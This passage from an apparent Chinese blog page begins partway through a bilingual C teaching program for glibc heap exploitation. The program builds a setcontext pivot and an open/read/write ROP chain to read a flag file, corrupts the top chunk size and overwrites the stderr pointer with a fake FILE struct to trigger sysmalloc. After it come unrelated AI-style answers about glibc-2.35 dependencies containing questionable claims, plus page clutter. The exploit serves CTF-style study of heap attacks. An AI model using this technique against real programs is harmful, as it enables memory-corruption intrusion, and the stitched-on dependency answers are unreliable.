        puts("\033[32mThen we need to write address of setcontext into [rdx+0x20].\033[0m");
        puts("\033[32m然后我们需要写setcontext函数的地址到[rdx+0x20]。\033[0m");
        puts("\033[32mHave a look at disassembly result of function setcontext: \033[0m");
        puts("\033[32m看一下setcontext函数的汇编: \033[0m");
        puts("\033[34m.text:0000000000053A6D                 \033[1;31mmov     rsp, [rdx+0A0h]\033[34m\n"
             ".text:0000000000053A74                 mov     rbx, [rdx+80h]\n"
             ".text:0000000000053A7B                 mov     rbp, [rdx+78h]\n"
             ".text:0000000000053A7F                 mov     r12, [rdx+48h]\n"
             ".text:0000000000053A83                 mov     r13, [rdx+50h]\n"
             ".text:0000000000053A87                 mov     r14, [rdx+58h]\n"
             ".text:0000000000053A8B                 mov     r15, [rdx+60h]\n"
             ".text:0000000000053A8F                 test    dword ptr fs:48h, 2\n"
             ".text:0000000000053A9B                 jz      loc_53B56\n"
             "\t\t\t......\n"
             ".text:0000000000053B56                 \033[1;31mmov     rcx, [rdx+0A8h]\033[34m\n"
             ".text:0000000000053B5D                 \033[1;31mpush    rcx\033[34m\n"
             ".text:0000000000053B5E                 mov     rsi, [rdx+70h]\n"
             ".text:0000000000053B62                 mov     rdi, [rdx+68h]\n"
             ".text:0000000000053B66                 mov     rcx, [rdx+98h]\n"
             ".text:0000000000053B6D                 mov     r8, [rdx+28h]\n"
             ".text:0000000000053B71                 mov     r9, [rdx+30h]\n"
             ".text:0000000000053B75                 mov     rdx, [rdx+88h]\n"
             ".text:0000000000053B75 ; } // starts at 53A30\n"
             ".text:0000000000053B7C ; __unwind {\n"
             ".text:0000000000053B7C                 xor     eax, eax\n"
             ".text:0000000000053B7E                 retn\033[0m");

        puts("\033[32mWe let [rdx+0xa0] = bss + 0x100, and let [rdx+0xa8] = some gadget address as the start of our ROP chain.\033[0m");
        puts("\033[32m我们让[rdx+0xa0] = bss + 0x100, 让[rdx+0xa8] = 某些gadget的地址作为ROP链的开始。\033[0m");
        puts("\033[32mThere are some useful gadgets: \033[0m");
        puts("\033[32m这里是一些有用的gadget地址: \033[0m");
        size_t poprdi_ret = libc_base + 0x2a3e5;
        size_t poprsi_ret = libc_base + 0x2be51;
        size_t poprdx_rbx_ret = libc_base + 0x90529;
        printf("\033[33mpop rdi ; ret : %#zx\n\033[0m", poprdi_ret);
        printf("\033[33mpop rsi ; ret : %#zx\n\033[0m", poprsi_ret);
        printf("\033[33mpop rdx ; pop rbx ; ret : %#zx\n\033[0m", poprdx_rbx_ret);
        puts("\033[32mHere are some key functions: \033[0m");
        puts("\033[32m这里是一些关键函数的地址: \033[0m");
        size_t readfunc_addr = (size_t)read;
        size_t writefunc_addr = (size_t)write;
        size_t openfunc_addr = (size_t)open;
        printf("\033[33mopen(): %#zx\n\033[0m", openfunc_addr);
        printf("\033[33mread(): %#zx\n\033[0m", readfunc_addr);
        printf("\033[33mwrite(): %#zx\n\033[0m", writefunc_addr);

        space[0x20 / 8] = (size_t)(libc_base + 0x53a6d);
        space[0xa0 / 8] = (size_t)(&space[0x100 / 8]);
        space[0xa8 / 8] = poprdi_ret;

        puts("\033[32mThen let's construct our ROP chain.\033[0m");
        puts("\033[32m然后我们来构造ROP链。\033[0m");
        space[0x100 / 8] = (size_t)flag;
        space[0x108 / 8] = poprsi_ret;
        space[0x110 / 8] = 0;
        space[0x118 / 8] = openfunc_addr;
        space[0x120 / 8] = poprdi_ret;
        space[0x128 / 8] = 3;
        space[0x130 / 8] = poprsi_ret;
        space[0x138 / 8] = (size_t)(&space[0xf0]);
        space[0x140 / 8] = poprdx_rbx_ret;
        space[0x148 / 8] = 0x40;
        space[0x150 / 8] = 0;
        space[0x158 / 8] = readfunc_addr;
        space[0x160 / 8] = poprdi_ret;
        space[0x168 / 8] = 1;
        space[0x170 / 8] = poprsi_ret;
        space[0x178 / 8] = (size_t)(&space[0xf0]);
        space[0x180 / 8] = poprdx_rbx_ret;
        space[0x188 / 8] = 0x40;
        space[0x190 / 8] = 0;
        space[0x198 / 8] = writefunc_addr;

        puts("\033[32mHere is the former part of bss spare space:\033[0m");
        puts("\033[32m下面是bss空闲区域前面的一部分:\033[0m");
        for(int i=0; i<0x20; i++)
            printf("\033[1;34m+%#5x\t\t%#18zx\t\t%#18zx\n\033[0m", i * 0x10, space[2*i], space[2*i+1]);

    }else{
        puts("\033[31mError: invalid exploit mode!\033[0m");
        puts("\033[31m错误:选择了无效的利用模式!\033[0m");
        exit(1);
    }

    puts("\033[032mThen, we need to \033[31mchange the size of top chunk to make it unaligned, and malloc a big space.\033[0m");
    puts("\033[032m然后,我们需要\033[31m修改top chunk的大小来让它不对齐,然后malloc一块大空间。\033[0m");
    *top_chunk_size = 0x101;
    printf("\033[32mThe value of top_chunk->size was changed into: %#zx\033[0m\n", *top_chunk_size);
    printf("\033[32m现在top_chunk->size的值被修改为: %#zx\033[0m\n", *top_chunk_size);

    puts("\033[32mThen, change the value of stderr pointer.\033[0m");
    puts("\033[32m然后,修改stderr指针的值。\033[0m");
    printf("\033[32mBefore alteration: *stderr_pointer = \033[33m%p\n\033[0m", *((struct _IO_FILE**)(stderr_ptr)));
    printf("\033[32m修改之前: *stderr_pointer = \033[33m%p\n\033[0m", *((struct _IO_FILE**)(stderr_ptr)));
    *(size_t*)stderr_ptr = (size_t)fake_file_struct;
    printf("\033[32mAfter alteration: *stderr_pointer = \033[31m%p\n\033[0m", *((struct _IO_FILE**)(stderr_ptr)));
    printf("\033[32m修改之后: *stderr_pointer = \033[31m%p\n\033[0m", *((struct _IO_FILE**)(stderr_ptr)));

    printf("\033[32mAnd the last step: malloc(0x200) to trigger sysmalloc.\n\033[0m");
    printf("\033[32m然后是最后一步:malloc(0x200)触发sysmalloc。\n\033[0m");
    malloc(0x200);
}
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: glibc-2.35是一个C标准库,它是Linux系统中最基本的系统库之一。在编译和运行程序时,可能会依赖于glibc-2.35库和其他一些相关的库。下面是一些常见的glibc-2.35依赖库: 1. libpthread.so.0:线程库,提供线程管理相关的函数。 2. libm.so.6:数学库,提供数学函数,如sin、cos、sqrt等。 3. libdl.so.2:动态链接库,提供动态链接相关的函数。 4. libcrypt.so.1:密码库,提供密码相关的函数,如加密、解密等。 5. librt.so.1:实时库,提供实时相关的函数。 6. libnsl.so.1:网络库,提供网络相关的函数。 7. libresolv.so.2:DNS库,提供DNS相关的函数。 这些库都是Linux系统中常见的系统库,它们通常都已经预装在系统中。如果你需要使用某个库,可以通过安装相应的开发包来获得。例如,在Debian/Ubuntu系统中,可以使用以下命令来安装libpthread库的开发包: ``` sudo apt-get update sudo apt-get install libpthread-stubs0-dev ``` 在CentOS/RHEL系统中安装: ``` sudo yum update sudo yum install glibc-devel ``` 这样就可以安装相应的开发包,并在编译和运行程序时使用它们。 ### 回答2: glibc-2.35是Linux系统中的一个重要软件库,提供了许多基本的系统函数和接口。它是一个底层库,许多其他程序依赖于它来运行。 glibc-2.35依赖的库主要有以下几个: 1. Linux内核:作为操作系统的核心,glibc-2.35需要与Linux内核紧密配合工作。 2. libgcc:是GCC(GNU编译器套件)的一部分,提供了一些编译时和运行时的支持库。glibc-2.35需要依赖libgcc来进行一些底层操作。 3. libpthread:是POSIX线程库的实现之一,提供对线程的支持。glibc-2.35中的线程相关函数需要依赖libpthread库。 4. libdl:是动态加载库,提供了运行时动态加载共享库的接口。glibc-2.35使用libdl来加载和调用共享库。 5. libm:是数学库,提供数学运算函数。glibc-2.35的一些数学函数需要依赖libm来完成数学计算。 除了以上列举的几个库外,glibc-2.35还可能依赖其他一些系统库,如librt(实时库,提供对实时操作系统特性的支持)、libresolv(解析域名的库)等,具体依赖的库可能因系统配置和环境而有所不同。 总之,glibc-2.35作为一个基础库,依赖于Linux内核和其他一些系统库来提供各种功能和接口,确保了系统的正常运行和其他程序的稳定性。 ### 回答3: glibc-2.35是GNU C库(Glibc)的一个特定版本。它是一个开源的C库,为Linux操作系统提供了基本的操作和功能接口。glibc-2.35是该库的一个更新版本,它引入了许多新的特性和改进。 glibc-2.35依赖的库包括: 1. Linux内核(kernel):glibc-2.35需要与Linux操作系统内核进行交互,以实现底层的系统调用和服务。 2. libgcc:glibc-2.35依赖于GNU编译器集合(GCC)的共享库,这些库提供了编译和链接C程序所需的基础功能。 3. zlib:glibc-2.35使用zlib库来提供数据压缩和解压缩的功能。这对于处理压缩数据流非常有用,例如在网络传输或文件压缩中。 4. libpthread:glibc-2.35使用libpthread库来支持多线程操作。这个库提供了创建、同步和管理线程的功能,以实现并发执行的能力。 5. libm:glibc-2.35依赖于数学库libm,它提供了常见的数学函数和运算,例如三角函数、指数函数、对数函数等。 6. libdl:glibc-2.35使用libdl库来支持动态加载共享库的功能。这对于运行时动态加载的程序非常重要,因为它允许程序根据需要加载额外的代码库。 以上是glibc-2.35 依赖的一些常见库,还有其他一些可能的依赖库取决于具体的配置和需求。这些依赖库提供了glibc-2.35所需的功能和支持,使其成为一个完整的操作系统开发和执行环境。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值